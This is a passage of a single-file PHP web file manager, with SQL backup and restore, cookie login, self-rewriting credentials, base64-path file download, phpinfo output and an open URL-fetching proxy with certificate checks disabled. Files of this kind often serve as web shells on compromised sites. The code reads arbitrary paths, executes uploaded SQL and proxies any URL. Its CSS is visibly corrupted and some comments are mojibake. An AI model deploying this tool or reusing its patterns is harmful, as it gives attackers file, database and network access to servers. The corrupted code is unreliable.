					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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